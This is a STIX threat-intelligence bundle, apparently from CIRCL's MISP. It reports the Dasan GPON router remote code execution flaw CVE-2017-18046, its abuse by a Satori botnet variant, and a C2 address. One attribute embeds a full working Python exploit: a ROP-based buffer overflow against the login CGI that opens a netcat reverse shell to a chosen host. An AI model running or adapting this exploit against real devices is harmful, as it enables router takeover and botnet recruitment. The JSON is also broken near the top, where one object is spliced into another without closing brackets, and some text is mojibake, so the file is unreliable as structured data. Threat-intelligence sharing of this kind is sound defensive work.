190 lines
10 KiB
JSON
190 lines
10 KiB
JSON
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{
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"type": "bundle",
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"id": "bundle--5a8042be-fe8c-4071-a140-414502de0b81",
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"objects": [
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{
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"type": "identity",
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"spec_version": "2.1",
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"id": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
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"created": "2018-02-12T03:00:18.000Z",
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"modified": "2018-02-12T03:00:18.000Z",
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"name": "CIRCL",
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"identity_class": "organization"
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},
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{
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"type": "report",
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"spec_version": "2.1",
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"id": "report--5a8042be-fe8c-4071-a140-414502de0b81",
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"created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
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"created": "2018-02-12T03:00:18.000Z",
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"modified": "2018-02-12T03:00:18.000Z",
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"name": "OSINT - Dasan Unauthenticated Remote Code Execution - and ongoing abuse",
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"published": "2018-02-16T09:06:45Z",
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"object_refs": [
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"url--5a8042cb-c228-4acf-b07c-0f8502de0b81",
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"x-misp-attribute--5a8042da-7704-45d1-bbf8-e31802de0b81",
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"x-misp-attribute--5a804312-adb0-417c-a89f-e30302de0b81",
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"vulnerability--5a804331-b9bc-4a13-858b-43dd02de0b81",
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"indicator--5a804355-8cb0-415c-ade6-a4c602de0b81",
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"x-misp-object--5a8043e4-7688-48d5-b395-e35002de0b81"
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],
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"labels": [
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"Threat-Report",
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"misp:tool=\"MISP-STIX-Converter\"",
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"misp-galaxy:tool=\"Mirai\"",
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"misp-galaxy:tool=\"Satori\""
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],
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"object_marking_refs": [
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"marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9"
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{
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"type": "observed-data",
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"created": "2018-02-11T13:19:07.000Z",
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"modified": "2018-02-11T13:19:07.000Z",
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"first_observed": "2018-02-11T13:19:07Z",
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"last_observed": "2018-02-11T13:19:07Z",
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"number_observed": 1,
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],
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"labels": [
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"misp:type=\"link\"",
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"misp:category=\"External analysis\""
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]
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},
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{
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"type": "url",
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"spec_version": "2.1",
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"id": "url--5a8042cb-c228-4acf-b07c-0f8502de0b81",
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"value": "https://blogs.securiteam.com/index.php/archives/3552"
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},
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{
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"type": "x-misp-attribute",
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"spec_version": "2.1",
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"id": "x-misp-attribute--5a8042da-7704-45d1-bbf8-e31802de0b81",
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"created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
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"created": "2018-02-11T13:19:22.000Z",
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"modified": "2018-02-11T13:19:22.000Z",
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"labels": [
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"misp:type=\"text\"",
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"misp:category=\"External analysis\""
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],
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"x_misp_category": "External analysis",
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"x_misp_type": "text",
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"x_misp_value": "The following advisory describes a buffer overflow that leads to remote code execution found in Dasan Networks GPON ONT WiFi Router H640X versions 12.02-01121 / 2.77p1-1124 / 3.03p2-1146\r\n\r\nDasan Networks GPON ONT WiFi Router \u00e2\u20ac\u0153is indoor type ONT dedicated for FTTH (Fibre to the Home) or FTTP (Fiber to the Premises) deployments. That can work as simple Bridge or behave as Router/NAT. It\u00e2\u20ac\u2122s cost-effective CPE that meets carrier-class requirement for Telcom industry and guarantee reliable service proven in the field.\u00e2\u20ac\u009d"
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},
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{
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"type": "x-misp-attribute",
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"spec_version": "2.1",
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"id": "x-misp-attribute--5a804312-adb0-417c-a89f-e30302de0b81",
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"created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
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"created": "2018-02-11T13:20:18.000Z",
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"modified": "2018-02-11T13:20:18.000Z",
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"labels": [
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"misp:type=\"text\"",
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"misp:category=\"Support Tool\""
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],
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"x_misp_category": "Support Tool",
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"x_misp_comment": "Proof of Concept",
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"x_misp_type": "text",
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"x_misp_value": "import sys\r\nimport socket\r\nimport json\r\nimport time\r\nimport struct\r\nimport ssl\r\n\r\nif len(sys.argv) != 4:\r\n print \"Use: {} ip port connectback\".format(sys.argv[0])\r\n sys.exit(1)\r\n\r\nhost = str(sys.argv[1])\r\nport = int(sys.argv[2])\r\n\r\nconnectback = str(sys.argv[3])\r\n\r\nbuf = 1024\r\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n#sock.settimeout(10)\r\n\r\nclientsocket = ssl.wrap_socket(sock)\r\n#clientsocket = sock\r\nclientsocket.connect((host, port))\r\n\r\naddr_libc = 0x2ad0c000 # 0x2ad0e000 with H640DW\r\n\r\n# rop1\r\nrop1 = addr_libc + 0x00115d40 #addiu $a0,$sp,0x18 | jalr $s0\r\naddr_rop1 = struct.pack(\">i\",rop1)\r\n#rop2\r\nsystem = addr_libc + 0x0003CC9C #system\r\naddr_system = struct.pack(\">i\",system)\r\n\r\n# execute command\r\ncommand = \"nc \" + connectback + \" -e /bin/sh;\"\r\n\r\npayload = \"A\"*(756 - 0x28) + addr_system + 'C'*(0x28-8) + addr_rop1 + ';'*24 + command\r\n\r\ndata = \"action={}&txtUserId=a&button=Login&txtPassword=a&sle_Language=english\\r\\n\".format(payload)\r\n\r\nhttp_payload = \"\"\"POST /cgi-bin/login_action.cgi HTTP/1.1\\r\\nHost: 192.168.1.100:8080\\r\\nUser-Agent: Mozilla/5.0\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nAccept-Language: en-US,en;q=0.5\\r\\nAccept-Encoding: gzip, deflate\\r\\nReferer: https://192.168.1.100:8080/cgi-bin/login.cgi\\r\\nConnection: keep-alive\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: {}\\r\\n\\r\\n{}\"\"\".format(len(data),data)\r\n\r\nprint http_payload\r\n\r\nclientsocket.send(http_payload)\r\n\r\nrespond_raw = clientsocket.recv(buf).strip()\r\n\r\nprint respond_raw\r\n\r\nrespond_raw = clientsocket.recv(buf).strip()\r\n\r\nprint respond_raw\r\nrespond_raw = clientsocket.recv(buf).strip()\r\n\r\nprint respond_raw\r\n\r\nclientsocket.close()"
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},
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{
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"type": "vulnerability",
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"spec_version": "2.1",
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"id": "vulnerability--5a804331-b9bc-4a13-858b-43dd02de0b81",
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"created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
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"created": "2018-02-11T13:20:49.000Z",
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"modified": "2018-02-11T13:20:49.000Z",
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"name": "CVE-2017-18046",
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"labels": [
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"misp:type=\"vulnerability\"",
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"misp:category=\"Payload delivery\""
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],
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"external_references": [
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{
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"source_name": "cve",
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"external_id": "CVE-2017-18046"
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}
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]
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},
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{
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"type": "indicator",
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"spec_version": "2.1",
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"id": "indicator--5a804355-8cb0-415c-ade6-a4c602de0b81",
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"created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
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"created": "2018-02-11T13:21:25.000Z",
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"modified": "2018-02-11T13:21:25.000Z",
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"description": "C2 (download of the first stage)",
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"pattern": "[network-traffic:dst_ref.type = 'ipv4-addr' AND network-traffic:dst_ref.value = '185.62.188.88']",
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"pattern_type": "stix",
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"pattern_version": "2.1",
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"valid_from": "2018-02-11T13:21:25Z",
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"kill_chain_phases": [
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{
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"kill_chain_name": "misp-category",
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"phase_name": "Network activity"
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}
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],
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"labels": [
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"misp:type=\"ip-dst\"",
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"misp:category=\"Network activity\"",
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"misp:to_ids=\"True\""
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]
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},
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{
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"type": "x-misp-object",
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"spec_version": "2.1",
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"id": "x-misp-object--5a8043e4-7688-48d5-b395-e35002de0b81",
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"created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
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"created": "2018-02-11T13:23:48.000Z",
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"modified": "2018-02-11T13:23:48.000Z",
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"labels": [
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"misp:name=\"microblog\"",
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"misp:meta-category=\"misc\""
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],
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"x_misp_attributes": [
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{
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"type": "text",
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"object_relation": "post",
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"value": "So a brand new satori variant is causing port 8080 spike, it is looking for this new vulnerability https://blogs.securiteam.com/index.php/archives/3552 \u00e2\u20ac\u00a6 (CVE-2017-18046) , device affected \"Dasan GPON ONT WiFi Router\", new C2 is 185.62.188.88",
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"category": "Other",
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"uuid": "5a8043e4-51a4-42d0-9fdb-e35002de0b81"
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},
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{
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"type": "text",
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"object_relation": "type",
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"value": "Twitter",
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"category": "Other",
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"uuid": "5a8043e5-3870-4e29-8efa-e35002de0b81"
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},
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{
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"type": "url",
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"object_relation": "url",
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"value": "https://twitter.com/360Netlab/status/962521516352077824",
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"category": "External analysis",
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"to_ids": true,
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"uuid": "5a8043e5-5690-4742-84ca-e35002de0b81"
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}
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],
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"x_misp_meta_category": "misc",
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"x_misp_name": "microblog"
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},
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{
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"type": "marking-definition",
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"spec_version": "2.1",
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"id": "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9",
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"created": "2017-01-20T00:00:00.000Z",
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"definition_type": "tlp",
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"name": "TLP:WHITE",
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"definition": {
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"tlp": "white"
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}
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}
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]
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}
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